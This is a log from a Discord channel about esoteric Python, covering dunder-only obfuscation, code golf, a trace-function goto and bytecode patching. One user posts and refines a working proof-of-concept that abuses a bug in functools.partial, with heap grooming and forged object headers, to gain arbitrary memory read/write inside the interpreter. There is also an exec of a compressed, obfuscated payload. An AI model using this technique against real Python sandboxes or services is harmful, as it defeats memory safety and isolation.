#esoteric-python

1 messages · Page 13 of 1

versed eagle
#

then if you request that again, returns from that

#

Obfuscator.gs returns a dunder only way to make a string
Obfuscator.on returns a dunder only way to make a number

#

Obfuscator.ge returns a dunder only way to make an expression
its still buggy and lots of stuff isnt supported (because im the one who wrote that part)

old socket
#

It would be cool if walrus had some sort of dunder or whatever

#

You could make it easier to get higher numbers using shift and recursion

versed eagle
quartz wave
versed eagle
#

ah nice

old socket
versed eagle
#

i forget

quartz wave
#

so it should probably be oi

versed eagle
#

hm
you could probably support floats by getting two ints (the whole bit and the decimal bit), calling str on them, and then adding that with a . in the middle, then calling float on it

quartz wave
#

how about just using fractions

rugged owl
#

What's the use case of

xxx_xxx_W vs xxx_xxx

versed eagle
#

_W is for if walruses are enabled

#

because the obfuscator supports that

rugged owl
#

ah

quartz wave
#

i did walrus mode for Obfuscator.ge() btw

versed eagle
#

ah nice

#

ty

quartz wave
#

seems to work ```py

o.ge(int)
'(:=builtins.getattribute((:=name.len().class.doc.getitem(name.class().len()).add(name.len().class.doc.getitem((:=name.eq(name).pos()))).add(loader.class.doc.getitem(name.class().len())))))'
o.ge(int)
'_'

versed eagle
#

im gonna go add floats to .on

old socket
#

!e ```py
print(debug.add(debug).add(debug).add(debug))
print(debug.lshift(debug).lshift(debug))

night quarryBOT
#

@old socket :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | 4
002 | 4
rugged owl
#

!e

print(__name__.__eq__(__name__).__pos__() == __name__.__eq__(__name__))
night quarryBOT
#

@rugged owl :white_check_mark: Your 3.11 eval job has completed with return code 0.

True
rugged owl
#

You could remove .__pos__() from your default cache of 1

versed eagle
#

.__pos__() makes it an int

rugged owl
#

unless im overlooking something

versed eagle
#

without it it's True

#

and some behaviour might rely on 1 being an int

#

by checking the type of it

#

for example:

if type(thing) is int:
    return something
elif type(thing) is bool:
    return otherthing
#

etc

quartz wave
versed eagle
#

good question

#

i dont remember

#

it probably shouldnt be that way now that I think about it

quartz wave
#

idk what's happening but there's a problem with Obfuscator.on() ```py

Obfuscator().ge(2100)
'(:=(:=(:=(__:=(:=(:=(__:=(:=name.getitem(name.class().len())).add().len()).mul((:=.mul()))).lshift((:=(:=name.getitem(name.class().len())).add().add().len()))).lshift((______:=.mul()))).lshift((:=.mul()))).lshift((:=(:=.mul().invert().neg()).mul()))).lshift((:=.mul((:=.mul())))))'
(:=(__:=(:=(
:=(:=(:=(__:=(:=name.getitem(name.class().len())).add().len()).mul((:=.mul()))).lshift((:=(:=name.getitem(name.class().len())).add().add().len()))).lshift((______:=.mul()))).lshift((:=.mul()))).lshift((:=(:=.mul().invert().neg()).mul()))).lshift((:=.mul((:=.mul(______))))))
633825300114114700748351602688
2
100
1267650600228229401496703205376

#

it's missing something probably

versed eagle
#

except dunderified

quartz wave
versed eagle
#

ah

versed eagle
quartz wave
#

that's where i had to add it

versed eagle
#

ah

#

you know what im gonna do
im gonna go write some tests

#

(after i finish making on work with floats)

quartz wave
rugged owl
#
from obfuscator import Obfuscator

Obfuscate = Obfuscator(taken=False) # obfuscator = Obfuscator(taken=False)
                         #: use above for "no walrus" mode

print(Obfuscate.on(2048), eval(Obfuscate.on(2048))) # dunders, 1024

👀

#

..., 1024

versed eagle
versed eagle
quartz wave
versed eagle
#

well

#

you did

rugged owl
#

damn man, thought i found new bug

versed eagle
#

i did nothing but say "wow that number and that number are different"

versed eagle
quartz wave
#

i can't believe it was an off-by-one error

#

anyways updated

#

‫so logic for Obfuscator.ge() has been updated so that it returns from .object_repr_pair if v exists in it

#

‫previously it returned an unnecessarily long obfuscation for int (the type)

versed eagle
#

alr

versed eagle
#

I have a large optimization for the type nonsense I was doing in .ge

#

but it means that code obfuscated in one version of python might not work in another version

#

¯_(ツ)_/¯

quartz wave
versed eagle
#

ah

#

well alr then

#

what im thinking is

#

wait nvm

#

im dumb

old socket
#

!e print(name.doc.doc.doc.doc.doc)

night quarryBOT
#

@old socket :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | str(object='') -> str
002 | str(bytes_or_buffer[, encoding[, errors]]) -> str
003 | 
004 | Create a new string object from the given object. If encoding or
005 | errors is specified, then the object must expose a data buffer
006 | that will be decoded using the given encoding and error handler.
007 | Otherwise, returns the result of object.__str__() (if defined)
008 | or repr(object).
009 | encoding defaults to sys.getdefaultencoding().
010 | errors defaults to 'strict'.
old socket
#

I think this can go on forever, not sure

versed eagle
#

well
considering that str().__doc__ is a str()

#

yeah

#

it can

#

(until you run out of memory)

old socket
#

Can you even run out of memory for this?

quartz wave
versed eagle
old socket
#

Whats the buffer size of the input

versed eagle
#

thats ~platform specific~

rugged owl
versed eagle
#

its obfuscated until its all dunders

old socket
quartz wave
#

‫i wanna make it minimum chars as well while having it reach target because i don't want it taking too long to evaluate

versed eagle
old socket
#

You could run -u on a module that has input then the stdin would be un-buffered

#

Or at least I think so? I've never tested so idk

old socket
#

Oh I see were you specifically mentioning about how much the terminal can take in

versed eagle
#

yeah

old socket
#

So that wouldn't be on python's end, it would be on your emulator

versed eagle
#

mhm

#

also, if you type enough into input it'll fill up an internal buffer that Python uses even if -u

#

because input waits for a newline

#

so theres a buffer there somewhere

versed eagle
#

@quartz wave added a pr
.on now supports floats
getting builtin/pre-existing classes has been optimised for .ge
and also there's typechecks on all the "public" (intended for the end user) methods
so now they throw Type or Value Error if something is passed to them that isn't meant to be

#

now im gonna go write some tests for the obfuscator

fleet bridge
#

repr chacks that __repr__ returned string, not anything else

#

No, it is just proxy to real dict

fleet bridge
wheat river
#

thanks

sick hound
#

!timeit

CRIT = 0
while CRIT != 1000000:
  CRIT += 1
#

lies

#

!timeit

CRIT = 0
while CRIT != 1000000:
  CRIT += 1

print(CRIT)
bitter granite
#

@sick hound not sure what I am supposed to look at here.
What are you trying to clock?

sick hound
#

seeing how long it takes to count to 1M +

bitter granite
#

I understand,. I thought you were testing the routine mentioned there.

unreal echo
#

Let's do this again

#

Huh

#

Guess the newer one don't work

#

!e import('sys').stdout.write(chr(int(list((lambda x: map(lambda i: f'{ord(i):b}', x))((lambda decimals: bytes(decimals).decode())((lambda binary: [int(byte, 2) for byte in list(binary)])((lambda text: ([bin(ord(i)).replace('b', '') for i in str(text)]))("".join(map(lambda i: i, (i for i in (lambda string: [i for i in str(string)])(''.join(map(lambda x: (lambda l: chr(l))(int(x, 2)), ['110001'])))))))))))[0], 2)))
@lambda j: (import('importlib').import_module('sys').stdout.write(j),exec(r"""exec('print(' + ''.join(map(chr, import('zlib').decompress(b'''x\x9ceP\xcd\x0e\x820\x0c~\x95\xc6K\xdb\x84\x10\xf0\xb8W!\x1e6\x98Z3\xc0\x8c\x1d \xc6w\xb7\x83\xe0O\xdc\xa9\xdd\xf7\xd3\xafm\xaf\x91dH\x14dJD\xc1\xf6\xae\xb30\x1b\xe8\xed}\xef\xc4\xc0\x19\x1fc\xecH\xd8\xb8'\x1603\xbf\xb9\x9do\xa5\xb7a2\xe0\x96\xe4'\xda{.\xb5\x1a;O_\'\x83\x8d\x8b\x81&O\xcc\xf4\x02\x8e\x0c\xe71\xaeZ\x90\x01\xd6\x18\x1b\x8dO\x1fa\xf2s2@\x8d"\xb4\x05\xe12\xfa{\xb0\xad't\x9a\x08q\xf3\x91l2\xa5HY\xa1\x0eL\x87Cy\x1bU\xf6\xbb\x90\x14@\xf2Q\xec\x88*e\xb8\xe4\x80\xbfn\xdb\x7fN\x84\xf8g\xa7\xd7\xda\xcb`\xa0\xd5\x83\x06\x9d\x9bW\x9c\xf3~\@\x83u]UU\x8d\x1a\xe8\xfd\x9a\xea\xb4\xc2/z|x\xaa'''))) + ')')"""))
@lambda x: ''.join(chr(i) for i in x)
@lambda _: map(lambda x: int(x, 2), _)
@lambda _: _.delattr(0)
class _:
def delattr(self):
return (lambda x: map(lambda i: f'{ord(i):b}', x))((lambda decimals: bytes(decimals).decode())((lambda binary: [int(byte, 2) for byte in list(binary)])((lambda text: ([bin(ord(i)).replace('b', '') for i in str(text)]))("".join(map(lambda i: i, (i for i in (lambda string: [i for i in str(string)])(''.join(map(lambda x: (lambda l: chr(l))(int(x, 2)), ['101011']))))))))))

night quarryBOT
#

@unreal echo :white_check_mark: Your 3.11 eval job has completed with return code 0.

1+1
unreal echo
#

Could make it worse but no access to computer rn

gleaming timber
#

imagine if python has goto or call/cc

arctic skiff
dry mirage
#

!e

from ctypes import *

class PyUnicodeObject(Structure):
    _fields_ = [
        ("ob_refcnt", c_ssize_t),
        ("ob_type", py_object),
        ("length", c_ssize_t),
        ("hash", c_int64),
        ("interned", c_uint, 2),
    ]
    
s = "Hello"
PyUnicodeObject.from_address(id(s)).interned = 2
night quarryBOT
#

@dry mirage :x: Your 3.11 eval job has completed with return code 139 (SIGSEGV).

001 | Objects/unicodeobject.c:1939: unicode_dealloc: Assertion failed: Immortal interned string died
002 | Enable tracemalloc to get the memory block allocation traceback
003 | 
004 | object address  : 0x7f3d6b7ab6b0
005 | object refcount : 0
006 | object type     : 0x7f3d6c0cc440
007 | object type name: str
008 | object repr     : <refcnt 0 at 0x7f3d6b7ab6b0>
009 | 
010 | Fatal Python error: _PyObject_AssertFailed: _PyObject_AssertFailed
011 | Python runtime state: finalizing (tstate=0x00007f3d6c0fedb8)
... (truncated - too many lines)

Full output: https://paste.pythondiscord.com/muyegopeci.txt?noredirect

rugged sparrow
#

there are libraries that add a sort of shim goto using debugging features/code manipulation but that article just reads weird

rugged sparrow
# gleaming timber imagine if python has goto or call/cc

!e ```py
import sys, dis

@lambda c:c()
class goto:
def getattr(self, key):
return key
mul = getattr

@lambda c:c()
class label:
def getattr(self, key):
pass

def jump(frame, lbl):
instructions = [*dis.get_instructions(frame.f_code)]
loc = frame.f_lineno + 1
for idx, i1 in enumerate(instructions):
if i1.opname in ['LOAD_NAME', 'LOAD_GLOBAL'] and i1.argval == 'label':
i2 = instructions[idx + 1]
if i2.opname == 'LOAD_ATTR' and i2.argval == lbl:
if i1.starts_line is not None:
loc = i1.starts_line
break
else:
print(f'Warning: label .{lbl} cannot be jumped to')
break
else:
print(f'Warning: label .{lbl} not found')
def jumper(frame, event, arg):
frame.f_lineno = loc
frame.f_trace = global_trace
frame.f_trace = jumper

def global_trace(frame, event, arg):
if event == 'return' and frame.f_code == goto.getattr.code:
jump(frame.f_back, arg)
return global_trace

sys.settrace(global_trace)

i = 0
dest = 'start'
label .start
print(i)
if i >= 10:
dest = 'exit'
i += 1
goto * dest
label .exit

night quarryBOT
#

@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | 0
002 | 1
003 | 2
004 | 3
005 | 4
006 | 5
007 | 6
008 | 7
009 | 8
010 | 9
011 | 10
rugged sparrow
#

with a little effort you can implement goto using tracefunctions

#

I also wrote a version that did bytecode modification using ctypes once that let you jump from more locations (like a or goto .b worked with that version)

bitter granite
#

As far as you know is there any way to get the reference to a custom class passed via argument like you can for a function?

For instance

def test():
  print('something')

a = test 

here a would contain a ref to a ...

But what if I want to get a reference to the class of an argument passed within the function?

def test(something: mycustomclass):
  print('something')
next flame
#

but it is a pretty shitty article

rugged sparrow
#

It looks scraped from that entrian link lol

dense nova
#

I golfed the collatz conjecture as much as i could```py
f=lambda n:[n]+(c:=lambda e:[]if e==1 else[(e:=[e//2,e*3+1][e%2])]+c(e))(n)

wheat river
#
f=lambda n:[n]+(c:=lambda e:[]if e<2else[(e:=[e//2,e*3+1][e&1])]+c(e))(n)
sick hound
#

!e

night quarryBOT
#
Missing required argument

code

sick hound
#

!e
f=lambda n:[n]+(c:=lambda e:[]if e<2else[(e:=[e//2,e*3+1][e&1])]+c(e))(n)

night quarryBOT
#

@sick hound :white_check_mark: Your 3.11 eval job has completed with return code 0.

<string>:1: SyntaxWarning: invalid decimal literal
quartz wave
#

65 ```py
f=lambda n:[n]+(c:=lambda e:(e<2)[e:=[e//2,e3+1][e&1]]+c(e))(n)

gritty mesa
#

oop I'm very late to this party but I have a fun one somewhere

#

I've got an example somewhere on my cursed file on my pc, but long story short you can abuse dunders like __contains__, which implicitly calls bool on whatever you return from it

earnest wing
#

x and True

fleet bridge
# earnest wing `x and True`
x is not 0                                         8.4 ns ± 5.4 ns [2.0 s  / 103931823]
x and True                                          11 ns ± 2.8 ns [2.0 s  /  93132314]
not not x                                           12 ns ± 3.2 ns [2.0 s  /  88755001]
x != 0                                              14 ns ± 3.4 ns [2.0 s  /  81360992]
bool(x)                                             19 ns ± 4.7 ns [2.0 s  /  67545463]
str(x) != "0"                                       73 ns ±  20 ns [2.0 s  /  24490390]
(True, False)[0**x]                                 79 ns ±  20 ns [2.0 s  /  22502519]
``` nice, it is the second fastest idea
earnest wing
#

fastest without syntax warnings xd

fleet bridge
#

😄

fleet bridge
#

wait

#
>>> 0 and True
0
>>> 1 and True
True
#

you are disqualified

#
>>> 1 and True or False
True
>>> 0 and True or False
False
#
x is not 0                                         8.6 ns ± 1.3 ns [2.1 s  / 108029255]
x and True or False                                 11 ns ± 863 ps [2.1 s  /  95886623]
not not x                                           12 ns ± 2.1 ns [2.1 s  /  92326735]
x != 0                                              14 ns ± 623 ps [2.0 s  /  80819494]
bool(x)                                             19 ns ± 2.9 ns [1.9 s  /  64587302]
str(x) != "0"                                       75 ns ± 5.3 ns [2.0 s  /  23726655]
(True, False)[0**x]                                 80 ns ± 7.8 ns [2.0 s  /  21893201]

x and True or False is not slower for some reason

#
>>> dis('x and True')
  0           0 RESUME                   0

  1           2 LOAD_NAME                0 (x)
              4 JUMP_IF_FALSE_OR_POP     2 (to 10)
              6 LOAD_CONST               0 (True)
              8 RETURN_VALUE
        >>   10 RETURN_VALUE
>>> dis('x and True or False')
  0           0 RESUME                   0

  1           2 LOAD_NAME                0 (x)
              4 POP_JUMP_FORWARD_IF_FALSE     2 (to 10)
              6 LOAD_CONST               0 (True)
              8 JUMP_IF_TRUE_OR_POP      2 (to 14)
        >>   10 LOAD_CONST               1 (False)
             12 RETURN_VALUE
        >>   14 RETURN_VALUE
#

double RETURN_VALUE 🧐

#

it is not slower because in my tests x is truthy, so it executes the same branch
if x is falsy it will be slower a bit

versed eagle
#
if x:
    pass

calls __bool__ iirc

quartz wave
fleet bridge
fleet bridge
quartz wave
#

failed branch and 1 unnecessary jump in the truthy path
‫1jump in the falsy path

versed eagle
#

True if x else False

#

calls bool(x)

#

and returns the result

serene stratus
strong oracle
#

i'm having a weird issue with a sub process created with os.fork where the underlying process calls getpass() which writes directly to /dev/tty which gets into my program output, has anyone ever seen anything like this or have any ideas about how to suppress or redirect that sort of output?

#

i've already tried a bunch of methods of suppressing stdout and stderr and then discovered it was writing directly to my /dev/tty

#

is it possible to just change the current tty before calling execlp on the fork?

#

any ideas?

#

i am using fork and execlp because it's running in a multiprocess context and it needs to not block, subprocess module was blocking for me

strong oracle
#

going to look into this thank you

versed eagle
strong oracle
#

i was trying stuff like that but it was difficult to locate the tty fd

#

i may try that route again forkpty needs a refactor for its input args brain hurts rn

#

drank some strawberry milk waiting for the fat to hit my brain lmao

#

my output module broke too in the middle of debugging this so now i'm like 2 issues deep blehhh

#

why do i do this on a sunday

versed eagle
#

hm
what if you just chroot the process and make a fake /dev/tty

#

so its not writing output to anything except a fake file
which can be a symlink to /dev/null

#

idk if that would work im just spitballing here lmao

muted cipher
#

i dont know if this is esoteric but

#
import winsound
import time

a3f = 208
b3f = 233
b3 = 247
c4 = 261 # middle c
c4s = 277
e4f = 311    
f4 = 349 
a4f = 415  
b4f = 466 
b4 = 493
c5 = 523
c5s = 554
e5f = 622  
f5 = 698 
f5s = 740
a5f = 831

rest = -1

beatlen = 100
beatsep = 0.3

intro = [c5s, e5f, e5f, f5, a5f, f5s, f5, e5f, c5s, e5f, rest, a4f, a4f]
introry = [6, 10, 6, 6, 1, 1, 1, 1, 6, 10, 4, 2, 10]
verse1 = [rest, c4s, c4s, c4s, c4s, e4f, rest, c4, b3f, a3f,
  rest, b3f, b3f, c4, c4s, a3f, a4f, a4f, e4f,
  rest, b3f, b3f, c4, c4s, b3f, c4s, e4f, rest, c4, b3f, b3f, a3f,
  rest, b3f, b3f, c4, c4s, a3f, a3f, e4f, e4f, e4f, f4, e4f,
  c4s, e4f, f4, c4s, e4f, e4f, e4f, f4, e4f, a3f,
  rest, b3f, c4, c4s, a3f, rest, e4f, f4, e4f]
verse1ry = [2, 1, 1, 1, 1, 2, 1, 1, 1, 5,
  1, 1, 1, 1, 3, 1, 2, 1, 5,
  1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 3,
  1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 4,
  5, 1, 1, 1, 1, 1, 1, 1, 2, 2,
  2, 1, 1, 1, 3, 1, 1, 1, 3]
chorus = [b4f, b4f, a4f, a4f,
  f5, f5, e5f, b4f, b4f, a4f, a4f, e5f, e5f, c5s, c5, b4f,
  c5s, c5s, c5s, c5s,
  c5s, e5f, c5, b4f, a4f, a4f, a4f, e5f, c5s,
  b4f, b4f, a4f, a4f,
  f5, f5, e5f, b4f, b4f, a4f, a4f, a5f, c5, c5s, c5, b4f,
  c5s, c5s, c5s, c5s,
  c5s, e5f, c5, b4f, a4f, rest, a4f, e5f, c5s, rest]
chorusry = [1, 1, 1, 1,
  3, 3, 6, 1, 1, 1, 1, 3, 3, 3, 1, 2,
  1, 1, 1, 1,
  3, 3, 3, 1, 2, 2, 2, 4, 8,
  1, 1, 1, 1,
  3, 3, 6, 1, 1, 1, 1, 3, 3, 3, 1, 2,
  1, 1, 1, 1,
  3, 3, 3, 1, 2, 2, 2, 4, 8, 4]


song = intro + verse1 + chorus + verse1 + chorus + chorus + verse1
songry = introry + verse1ry + chorusry + verse1ry + chorusry + chorusry + verse1ry
def play():
    for i in range(0, len(song) - 1):
        print(song[i], songry[i])
        if song[i] != rest:
            winsound.Beep(song[i], songry[i]*beatlen)
        else:
            time.sleep((songry[i]*beatlen)/1000)
        time.sleep((beatsep*beatlen)/1000)

if __name__ == "__main__":
    play()
quartz wave
#

nice

earnest wing
#

interesting notation

versed eagle
gleaming timber
#

!e decorators go brr ```py
from functools import partial

@partial(map, iterable=range(10))
def sum_of_nums(x):
acc = 0
for i in range(x):
acc += i
return acc

print(acc)

night quarryBOT
#

@gleaming timber :x: Your 3.11 eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 3, in <module>
003 | TypeError: map() takes no keyword arguments
gleaming timber
#

bruh

rugged owl
pure dew
#

!e ```py
def rpartial(func, *pa, **pk):
def inner(*a, **k):
return func(*a, *pa, **(k | pk))
return inner

@rpartial(map, range(10))
def sum_of_nums(x):
acc = 0
for i in range(x):
acc += i
return acc

print(list(sum_of_nums))

night quarryBOT
#

@pure dew :white_check_mark: Your 3.11 eval job has completed with return code 0.

[0, 0, 1, 3, 6, 10, 15, 21, 28, 36]
pure dew
#

@gleaming timber

#

but you can also just do this

#

!e ```py
sums = lambda x: [sum(range(i)) for i in range(x)]
print(sums(10))

night quarryBOT
#

@pure dew :white_check_mark: Your 3.11 eval job has completed with return code 0.

[0, 0, 1, 3, 6, 10, 15, 21, 28, 36]
gleaming timber
#

!e ```py
def mapwith(iterable):
def res(function):
return map(function, iterable)
return res

@mapwith(range(10))
def sums(x):
acc = 0
for i in range(1, x+1):
acc += i
return acc

print(*sums)

night quarryBOT
#

@gleaming timber :white_check_mark: Your 3.11 eval job has completed with return code 0.

0 1 3 6 10 15 21 28 36 45
gleaming timber
quartz wave
night quarryBOT
#

@quartz wave :white_check_mark: Your 3.11 eval job has completed with return code 0.

0 3 11 24 42 65 93 126 164 207
sick hound
nimble mirage
#
import dis
from ctypes import *

def a_plus_b(a, b):
    return a + b

def modify_code(code_obj):
    addr_code_obj = id(code_obj)
    addr_co_code = id(code_obj.co_code)
    
    co_code_raw = cast(c_void_p(addr_co_code), POINTER(c_ubyte))
    co_code_raw_bytes = bytearray(co_code_raw[0:60])
    codestring_offset = co_code_raw_bytes.index(code_obj.co_code)

    binary_add_opcode = dis.opmap['BINARY_ADD']
    binary_sub_opcode = dis.opmap['BINARY_SUBTRACT']

    binary_add_offset = co_code_raw_bytes.index(binary_add_opcode, codestring_offset)
    co_code_raw[binary_add_offset] = binary_sub_opcode

def main():
    print("Before==")
    print(f"a_plus_b(7, 5)={a_plus_b(7, 5)}")
    
    modify_code(a_plus_b.__code__)
    print()
    
    print("After==")
    print(f"a_plus_b(7, 5)={a_plus_b(7, 5)}")
    
if __name__ == "__main__":
    main()
#

Runtime modification of code objects

quartz wave
#

python 3.10 was last year

rugged sparrow
#

oop i found a bug in partial

quartz wave
rugged sparrow
#

im writing a POC, its nothing serious

fleet bridge
#

POC?

rugged sparrow
#

proof of concept

#

Im writing some code that uses the bug to do something interesting (memoryview over the entire memory space is a personal favorite of mine)

#

progress

pure dew
#

do show

rugged sparrow
#

working on it

rugged sparrow
#

!e ```py

from functools import partial
from array import array # avoids need for using a Read After Free in make_pair to get bytearray address

length = 150 # seems most stable

def make_pair():
# heap grooming
# returns tuple, bytearray pair where array exists directly after end of tuple
fill = bytes((length // 2) * tuple.itemsize)
r = range(length // 2) # do these now so that we need less allocs later
old = [] # store failures to increase memory pressure
while True:
t = tuple(r)
b = array('b', fill)
b_addr, _ = b.buffer_info()
if id(t) + t.sizeof() == b_addr:
return t, b
old.append((t, b))

p = partial(id)

bytearray_mem = memoryview(bytearray(bytearray.basicsize)).cast('P')
bytearray_mem[0] = 1 # refcount
bytearray_mem[1] = id(bytearray) # ob_type
bytearray_mem[2] = (2 ** (tuple.itemsize * 8) - 1) // 2 # ob_size
bytearray_mem = bytearray_mem.tobytes()

class Fake:
slots = ['value']
def repr(self):
raise Exception(memoryview(self.value))

Fake_mem = memoryview(bytearray(Fake.basicsize)).cast('P')
Fake_mem[0] = 1 # refcount
Fake_mem[1] = id(Fake) # ob_type
Fake_mem[2] = id(bytearray_mem) + bytes.basicsize - 1
Fake_mem = Fake_mem.tobytes()

class WeirdRepr:
def repr(self):
global b # otherwise it is freed after function and that causes more problems
t, b = make_pair()
p.setstate((id, t, {}, {}))
mem = memoryview(b).cast('P')
for i in range(len(mem)):
mem[i] = id(Fake_mem) + bytes.basicsize - 1
return 'Wack'

p.setstate((id, (WeirdRepr(),) * length, {}, {}))
try:
repr(p)
except Exception as e:
mem = e.args[0]

print(mem, len(mem))``` @pure dew @quartz wave @fleet bridge

#

hmm the heap groom doesn't work too well on the bot

night quarryBOT
#

@rugged sparrow :warning: Your 3.11 eval job timed out or ran out of memory.

[No output]
rugged sparrow
quartz wave
#

‫if i hadn't closed it it'd probably crash the whole pc

rugged sparrow
#

try messing with the length value

#

i need to work on making the heap groom more consistent, but it works on my macbook

quartz wave
#

damn

quartz wave
rugged sparrow
#

the actual bug exists due to assumptions made in partial.__repr__ and how partial.__setstate__ works

rugged sparrow
#

yea itll do that, it stores fails to increase memory pressure, it makes the heap groom more likely

quartz wave
#

what value am i supposed to set it to

#

length 1 consumes at least 100 mb of RAM in a second

rugged sparrow
#

i use 150 on my macbook, so it will allocate a 75 item tuple and a 75*`tuple.__itemsize__ array

#

yea 1 will never work due to interned values

#

and it needs to be a multiple of 2 (for rn)

quartz wave
#

how about 2

rugged sparrow
#

that also probably won't work

#

!e ```py
from array import array # avoids need for using a Read After Free in make_pair to get bytearray address

length = 150 # seems most stable

def make_pair():
# heap grooming
# returns tuple, bytearray pair where array exists directly after end of tuple
fill = bytes((length // 2) * tuple.itemsize)
r = range(length // 2) # do these now so that we need less allocs later
old = [] # store failures to increase memory pressure
for i in range(200):
t = tuple(r)
b = array('b', fill)
b_addr, _ = b.buffer_info()
print(b_addr - id(t) + t.sizeof())
if id(t) + t.sizeof() == b_addr:
return t, b
old.append((t, b))

t, b = make_pair()``` use this to look for the correct value

night quarryBOT
#

@rugged sparrow :x: Your 3.11 eval job has completed with return code 1.

001 | -72368
002 | 45840
003 | -48
004 | 60752
005 | -19408
006 | 4000
007 | 13408
008 | 4560
009 | 1264
010 | 1264
011 | 1264
... (truncated - too many lines)

Full output: https://paste.pythondiscord.com/erajocikoc.txt?noredirect

rugged sparrow
#

you want a length where the printed value gets as low as possible

#

!e ```py

from functools import partial
from array import array # avoids need for using a Read After Free in make_pair to get bytearray address

length = 102 # seems most stable

def make_pair():
# heap grooming
# returns tuple, bytearray pair where array exists directly after end of tuple
fill = bytes((length // 2) * tuple.itemsize)
r = range(length // 2) # do these now so that we need less allocs later
old = [] # store failures to increase memory pressure
while True:
t = tuple(r)
b = array('b', fill)
b_addr, _ = b.buffer_info()
if id(t) + t.sizeof() == b_addr:
return t, b
old.append((t, b))

p = partial(id)

bytearray_mem = memoryview(bytearray(bytearray.basicsize)).cast('P')
bytearray_mem[0] = 1 # refcount
bytearray_mem[1] = id(bytearray) # ob_type
bytearray_mem[2] = (2 ** (tuple.itemsize * 8) - 1) // 2 # ob_size
bytearray_mem = bytearray_mem.tobytes()

class Fake:
slots = ['value']
def repr(self):
raise Exception(memoryview(self.value))

Fake_mem = memoryview(bytearray(Fake.basicsize)).cast('P')
Fake_mem[0] = 1 # refcount
Fake_mem[1] = id(Fake) # ob_type
Fake_mem[2] = id(bytearray_mem) + bytes.basicsize - 1
Fake_mem = Fake_mem.tobytes()

class WeirdRepr:
def repr(self):
global b # otherwise it is freed after function and that causes more problems
t, b = make_pair()
p.setstate((id, t, {}, {}))
mem = memoryview(b).cast('P')
for i in range(len(mem)):
mem[i] = id(Fake_mem) + bytes.basicsize - 1
return 'Wack'

p.setstate((id, (WeirdRepr(),) * length, {}, {}))
try:
repr(p)
except Exception as e:
mem = e.args[0]

print(mem, len(mem))``` @quartz wave this one should work

night quarryBOT
#

@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.

<memory at 0x7efd49978940> 9223372036854775807
rugged sparrow
#

102 gives the right pressure for the bot

quartz wave
#

works

rugged sparrow
#

sweet

#

its a neat bug

#

i had to use my repr trick to get a reference to the faked value

quartz wave
#

how is this supposed to be used

rugged sparrow
#

it gives you a memoryview that points to 0 with a max length. you can use it to read/write memory everywhere

quartz wave
#

oh

rugged sparrow
#

i just use it as a proof of concept that the bug can lead to usable memory corruption

quartz wave
#

i can't believe i don't need C to do random stuff

rugged sparrow
#

not when there are bugs to exploit lol

quartz wave
#

wow ```py

mem[0]
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
SystemError: error return without exception set

#

can literally fake NULL

#

why doesn't it work when i run it with -Xdev though

rugged sparrow
#
<memory at 0x10b395b40> 9223372036854775807
>>> mem[id(100) + int.__basicsize__] = 255
>>> 100
255
>>> 
``` no idea, probably a different allocator
#
-X dev: enable CPython's "development mode", introducing additional runtime
             checks which are too expensive to be enabled by default. Effect of the
             developer mode:
                * Add default warning filter, as -W default
                * Install debug hooks on memory allocators: see the PyMem_SetupDebugHooks()
                  C function
                * Enable the faulthandler module to dump the Python traceback on a crash
                * Enable asyncio debug mode
                * Set the dev_mode attribute of sys.flags to True
                * io.IOBase destructor logs close() exceptions
``` yup
#

so -Xdev would need a different length value (or may need a more specific heap groom technique)

quartz wave
#

i can get the reference count of 4 ```py

fm=mem[:len(mem)-7]
fm[id(4):].cast('n')[0]
1000000084

rugged sparrow
#

yea makes sense, mem can be used to read/write to any memory of the python process

quartz wave
#
>>> a=5.6;fm[id(a)+object.__basicsize__:].cast('d')[0]
5.6
``` this is crazy
rugged sparrow
#

you can make the same object with ctypes using memoryview((c_char * Py_SSIZET_MAX).from_address(0)).cast('b')

#

but this is neat because you can make it with functools.partial

nimble mirage
#

Is from_address the real address or relative to process memory? Since I don't think any OS will allow a user mode process access to the real 0x0 offset

rugged sparrow
#

its the 0 of the python process

#

means that is effectively like a C function that takes in a pointer and just reads or write to that memory

nimble mirage
#

This reminds me of ReadProcessMemory / WriteProcessMemory

rugged sparrow
#

yea its a bit like that. I just did it with a use out of bounds bug in functools.partial.__repr__

nimble mirage
#

ctypes.from_address must be doing that internally or accessing the process heap

rugged sparrow
#

i think all ctypes.from_address does is make an instance of the given type and then set its address to the passed in one

nimble mirage
#

Well in C, if you assign a pointer to an address of 0, it will result in an access violation when dereferenced. So I think ctypes.from_address does something more

night quarryBOT
#

Modules/_ctypes/_ctypes.c lines 586 to 599

static PyObject *
CDataType_from_address(PyObject *type, PyObject *value)
{
    void *buf;
    if (!PyLong_Check(value)) {
        PyErr_SetString(PyExc_TypeError,
                        "integer expected");
        return NULL;
    }
    buf = (void *)PyLong_AsVoidPtr(value);
    if (PyErr_Occurred())
        return NULL;
    return PyCData_AtAddress(type, buf);
}```
rugged sparrow
#

so if you do 0 + 0 then yea it will probably crash

quartz wave
#

aww ```py

mem[0]=2
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
SystemError: error return without exception set

rugged sparrow
#

^ that is because inside memoryview internally checks if you are trying to access a null address (not intentionally)

night quarryBOT
#

Objects/memoryobject.c lines 2369 to 2374

if (view->ndim == 1) {
    char *ptr = ptr_from_index(view, index);
    if (ptr == NULL)
        return NULL;
    return unpack_single(self, ptr, fmt);
}```
rugged sparrow
#

it assumes that ptr can only be NULL if ptr_from_index fails

rugged sparrow
quartz wave
#

damn

snow beacon
#

What exactly is the bug in partial? Or at least what makes partial exploitable this way?

finite blaze
#

Hey, I want to learn how to one-line stuff.
Where should I start? Any tips?

sly root
#

!eval ```py
import math

def gcrypt(t):
ct=""
for c in t:
α,*γ,β=[map(int,f"{ord(c)}")]
p=α+β+(γ:=1if not γ else γ[0])
S=math.frexp(abs(((2
~γ)**2)*math.sin(~α)*math.sin(~β)*math.sin(p)))[0]
ct+=chr(sum(map(int,[*f"{S}"[2:]])))
return ct

a = "Hello World Hello World Hello World Hello World Hello World"
b = gcrypt(a)
print(a,b)

night quarryBOT
#

@sly root :white_check_mark: Your 3.11 eval job has completed with return code 0.

